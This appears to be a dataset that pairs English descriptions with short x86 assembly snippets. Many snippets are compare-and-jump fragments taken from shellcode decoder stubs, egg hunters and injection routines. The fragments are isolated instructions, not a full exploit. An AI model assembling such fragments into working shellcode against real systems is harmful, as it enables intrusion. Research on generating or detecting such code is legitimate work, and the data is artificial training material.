; jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register else jump to the while label
cmp ax, bx
jne l3
jmp while
; compare the contents of bh and the contents of al
cmp bh, al
; compare the contents of bl and 0x1f
cmp bl, 0x1f
; jump to the memory address 0xf3 if the unsigned contents of the bl register is lower than the unsigned value 0x1f else add the 0x40 value to the al register
cmp bl, 0x1f
jb 0xf3
add al, 0x40
; if the unsigned contents of the bl register is lower than the unsigned value 0x1f then jump to the memory address 0xf3 else add the 0x40 value to the al register
cmp bl, 0x1f
jb 0xf3
add al, 0x40
; if the contents of the bl register is equal to the value 0xaa then jump to the shellcode label
cmp bl, 0xaa
je shellcode
; jump to the shellcode label if the contents of the bl register is equal to the value 0xaa
cmp bl, 0xaa
je shellcode
; jump to shellcode if bl is equal to 0xaa
cmp bl, 0xaa
jz shellcode
; compare the content of bl register with the end character, 0xaa. if they arer equal go to shellcodelable, else compare the content of bl register with the character 0xbb that is the placeholder for xor. if they are equal go to _xordecode label. else go to _notdecode label.
cmp bl, 0xaa
jz shellcode
cmp bl, 0xbb
jz xordecode jmp notdecode
; if the contents of the bl register is equal to the value 0xbb then jump to the xordecode label else jump to the notdecode label
cmp bl, 0xbb
je xordecode
jmp notdecode
; jump to the xordecode label if the contents of the bl register is equal to the value 0xbb else jump to the notdecode label
cmp bl, 0xbb
je xordecode
jmp notdecode
; jump to xordecode if bl is equal to 0xbb else jump to notdecode
cmp bl, 0xbb
jz xordecode
jmp notdecode
; compare ebx register's lower half value against ascii value 48
cmp bl, 48
; compare ebx register's lower half value against ascii value 57
cmp bl, 57
; jump to the memory location loc_402B1D if the contents of the bl register is greater than the value 78h
cmp bl, 78h
jg short loc_402B1D
; if the contents of the bl register is greater than the value 78h then jump to the memory location loc_402B1D
cmp bl, 78h
jg short loc_402B1D
; jump to the memory location loc_402B1D if the contents of the bl register is greater than or equal to the value 78h
cmp bl, 78h
jge short loc_402B1D
; if the contents of the bl register is greater than or equal to the value 78h then jump to the memory location loc_402B1D
cmp bl, 78h
jge short loc_402B1D
; jump to the memory location loc_402B1D if the contents of the bl register is less than the value 78h
cmp bl, 78h
jl short loc_402B1D
; if the contents of the bl register is less than the value 78h then jump to the memory location loc_402B1D
cmp bl, 78h
jl short loc_402B1D
; jump to the memory location loc_402B1D if the contents of the bl register is less than or equal to the value 78h
cmp bl, 78h
jle short loc_402B1D
; if the contents of the bl register is less than or equal to the value 78h then jump to the memory location loc_402B1D
cmp bl, 78h
jle short loc_402B1D
; jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register
cmp bl, al
je loop_2
; if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label
cmp bl, al
je loop_2
; jump to the loop_2 label if the contents of the bl register is equal to the contents of the al register else jump short to the not_found label
cmp bl, al
je loop_2
jmp short not_found
; if the contents of the bl register is equal to the contents of the al register then jump to the loop_2 label else jump short to the not_found label
cmp bl, al
je loop_2
jmp short not_found
; compare the byte at the memory location buff with 61h
cmp byte [buff], 61h
; compare the byte at the memory location buff with 7ah
cmp byte [buff], 7ah
; compare the byte pointed to by eax at this address against zero
cmp byte [eax], 0
; compare the byte at the memory location ebp+ecx with 61h
cmp byte [ebp+ecx], 61h
; compare the byte at the memory location ebp+ecx with 7ah
cmp byte [ebp+ecx], 7ah
; jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e
cmp BYTE [edx], 0x2e
jne l2
; if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label
cmp BYTE [edx], 0x2e
jne l2
; jump to the l2 label if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e else jump to the while label
cmp BYTE [edx], 0x2e
jne l2
jmp while
; if the byte starting at the address contained in the edx register is not equal to the byte value 0x2e then jump to the l2 label else jump to the while label
cmp BYTE [edx], 0x2e
jne l2
jmp while
; compare the byte in esi with 0x7
cmp byte [esi], 0x7
; jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7
cmp BYTE [esi], 0x7
jl lowbound
; if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label
cmp BYTE [esi], 0x7
jl lowbound
; if the byte starting at the address contained in the esi register is lower than the byte value 0x7 then jump to the lowbound label else subtract the byte value 0x7 from byte starting at the address contained in the esi register
cmp BYTE [esi], 0x7
jl lowbound
sub BYTE [esi], 0x7
; jump to the lowbound label if the byte starting at the address contained in the esi register is lower than the byte value 0x7 else subtract the byte value 0x7 from byte starting at the address contained in the esi register
cmp BYTE [esi], 0x7
jl lowbound
sub BYTE [esi], 0x7
; if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7 then jump to the lowbound label
cmp BYTE [esi], 0x7
jle lowbound
; jump to the lowbound label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0x7
cmp BYTE [esi], 0x7
jle lowbound
; jump to shellcode label if the byte in esi is equal to 0x88
cmp byte [esi], 0x88
jz shellcode
; compare the byte at the address esi and 0xd
cmp byte [esi], 0xd
; if esi content is less then 13 go to wrap_aroud
cmp byte [esi], 0xd
jl wrap_around
; jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD
cmp byte [esi], 0xD
jl wrap_around
; if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label
cmp byte [esi], 0xD
jl wrap_around
; jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than the byte value 0xD else subtract the byte value 0xD from byte starting at the address contained in the esi register
cmp byte [esi], 0xD
jl wrap_around
sub byte [esi], 0xD
; if the byte starting at the address contained in the esi register is lower than the byte value 0xD then jump to the wrap_around label else subtract the byte value 0xD from byte starting at the address contained in the esi register
cmp byte [esi], 0xD
jl wrap_around
sub byte [esi], 0xD
; if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD then jump to the wrap_around label
cmp byte [esi], 0xD
jle wrap_around
; jump to the wrap_around label if the byte starting at the address contained in the esi register is lower than or equal to the byte value 0xD
cmp byte [esi], 0xD
jle wrap_around
; jump to not_equal if the current byte of the shellcode is not equal to bl
cmp byte [esi], bl
jne not_equal
; jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register
cmp BYTE al, 2
je do_inject
; if the byte representation of 2 is equal to the contents of the al register then jump to the label do_inject
cmp BYTE al, 2
je do_inject
; jump to the label do_inject if the byte representation of 2 is equal to the contents of the al register else jump to the while label
cmp BYTE al, 2
je do_inject
jmp while
; if the byte representation of 2 is equal to the contents of the al register else jump to the while label then jump to the label do_inject
cmp BYTE al, 2
je do_inject
jmp while
; jump to the label loop_1 if the first byte of the esi register is not equal to the contents of the bl register
cmp BYTE bl, [esi]
jne loop_1
; if the first byte of the esi register is not equal to the contents of the bl register then jump to the label loop_1
cmp BYTE bl, [esi]
jne loop_1
; jump to the memory address 0xff if the unsigned contents of the cl register is lower than the unsigned value 0x11 else add the 0x5 value to the dl register
cmp cl, 0x11
jb 0xff
add dl, 0x5
; if the unsigned contents of the cl register is lower than the unsigned value 0x11 then jump to the memory address 0xff else add the 0x5 value to the dl register
cmp cl, 0x11
jb 0xff
add dl, 0x5
; jump to the loop label if the contents of the cl register is not equal to the value 0x3
cmp cl, 0x3
jne loop
; if the contents of the cl register is not equal to the value 0x3 then jump to the loop label
cmp cl, 0x3
jne loop
; jump to the loop2 label if the contents of the cl register is not equal to the value 0x3
cmp cl, 0x3
jne loop2
; if the contents of the cl register is not equal to the value 0x3 then jump to the loop2 label
cmp cl, 0x3
jne loop2
; if the contents of cl are not equal to the hexadecimal value oxff, jump to the _dup2 label
cmp cl, 0xff
jne dup2
; jump to the label l2 if the contents of the cl register is greater than the decimal value 12
cmp cl, 12
jg l2
; if the contents of the cl register is greater than the decimal value 12 then jump to the label l2
cmp cl, 12
jg l2
; jump to the label l2 if the contents of the cl register is greater than or equal to the decimal value 12
cmp cl, 12
jge l2
; if the contents of the cl register is greater than or equal to the decimal value 12 then jump to the label l2
cmp cl, 12
jge l2
; jump to the label l3 if the unsigned contents of the cl register is lower than the unsigned contents of the dl register
cmp cl, dl
jb l3
; if the unsigned contents of the cl register is lower than the unsigned contents of the dl register then jump to the label l3
cmp cl, dl
jb l3
; if cl contents is equal to dl contents jump to _encodedshellcode label
cmp cl, dl
je encodedshellcode
; jump to the EncodedShellcode label if the contents of the cl register is equal to the contents of the dl register
cmp cl, dl
je EncodedShellcode
; if the contents of the cl register is equal to the contents of the dl register then jump to the EncodedShellcode label
cmp cl, dl
je EncodedShellcode
; if cl contents is equal to dl contents jump to _init label
cmp cl, dl
je init
; jump to the init label if the contents of the cl register is equal to the contents of the dl register else increment the contents of the cl register
cmp cl, dl
je init
inc cl
; if the contents of the cl register is equal to the contents of the dl register then jump to the init label else increment the contents of the cl register
cmp cl, dl
je init
inc cl
; jump to dupcount if cx is less than or equal to 2 with sign
cmp cx, 2
jle dupcount
; jump to the exit label if the contents of the dl register is equal to the vale 1 else jump to the reading label
cmp dl, 1
je exit
jmp reading
; if the contents of the dl register is equal to the vale 1 then jump to the exit label else jump to the reading label
cmp dl, 1
je exit
jmp reading
; compare the contents of the dl register and 1h
cmp dl, 1h
; compare 1h and dl content and go to _exit if flag zero is set
cmp dl, 1h
jz exit
; if the contents of the dl register is greater than the decimal value 27 then jump to the label l3
cmp dl, 27
jg l3
; jump to the label l3 if the contents of the dl register is greater than the decimal value 27
cmp dl, 27
jg l3
; jump to the label l3 if the contents of the dl register is greater than or equal to the decimal value 27
cmp dl, 27
jge l3
; if the contents of the dl register is greater than or equal to the decimal value 27 then jump to the label l3
cmp dl, 27
jge l3
; jump to the label l1 if the unsigned contents of the dl register is lower than the unsigned contents of the cl register else move the value 0x39 to the al register
cmp dl, cl
jb l1
mov al, 0x39
; if the unsigned contents of the dl register is lower than the unsigned contents of the cl register then jump to the label l1 else move the value 0x39 to the al register
cmp dl, cl
jb l1
mov al, 0x39
; compare the dword at the address [eax-4] and egg1
cmp dword [eax-4], egg1
; jump to the _next label if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address else jump to the eax register
cmp dword [eax-4], egg1
jne _next
jmp eax
; if the doubleword starting at the address [eax-4] is not equal to the contents stored at the egg1 address then jump to the _next label else jump to the eax register
cmp dword [eax-4], egg1
jne _next
jmp eax
; jump to the _next label if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address else jump to the eax register
cmp dword [eax-4], egg2
je _next
jmp eax
; if the doubleword starting at the address [eax-4] is equal to the contents stored at the egg2 address then jump to the _next label else jump to the eax register
cmp dword [eax-4], egg2
je _next
jmp eax
; compare the dword at the memory location [eax-4] with the value of egg1
cmp dword [eax-4],egg1
; compare the dword at the address [eax-8] and egg
cmp dword [eax-8], egg
; jump to the _next label if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address
cmp dword [eax-8], egg
jne _next
; if the doubleword starting at the address [eax-8] is not equal to the contents stored at the egg address then jump to the _next label
cmp dword [eax-8], egg
jne _next
; compare the dword at the memory location [eax-8] with the value of egg
cmp dword [eax-8],egg
; jump to the jne _start label if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 else jump to the eax register
cmp DWORD [eax], 0x4f904790
jne _start
jmp eax
; if the doubleword starting at the address contained in the eax register is not equal to the doubleword value 0x4f904790 then jump to the jne _start label else jump to the eax register
cmp DWORD [eax], 0x4f904790
jne _start
jmp eax
; compare the dword at the address [eax] and the contents of the ebx register
cmp dword [eax], ebx
; if ebx content is not equal to the double word contained into eax register go to next_adrr label else go to eax address
cmp dword [eax], ebx
jne next_addr
jmp eax
; jump to the next_address label if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster else jump to the eax register
cmp dword [eax], ebx
jne next_addr
jmp eax
; if the doubleword starting at the address contained in the eax register is not equal to the contents of the ebx regoster then jump to the next_address label else jump to the eax register
cmp dword [eax], ebx
jne next_addr
jmp eax
; jump to the loop label if the doubleword starting at the address contained in the eax register is not equal to the contents of the edx register else jump to the eax register
cmp DWORD [eax], edx
jne loop
jmp eax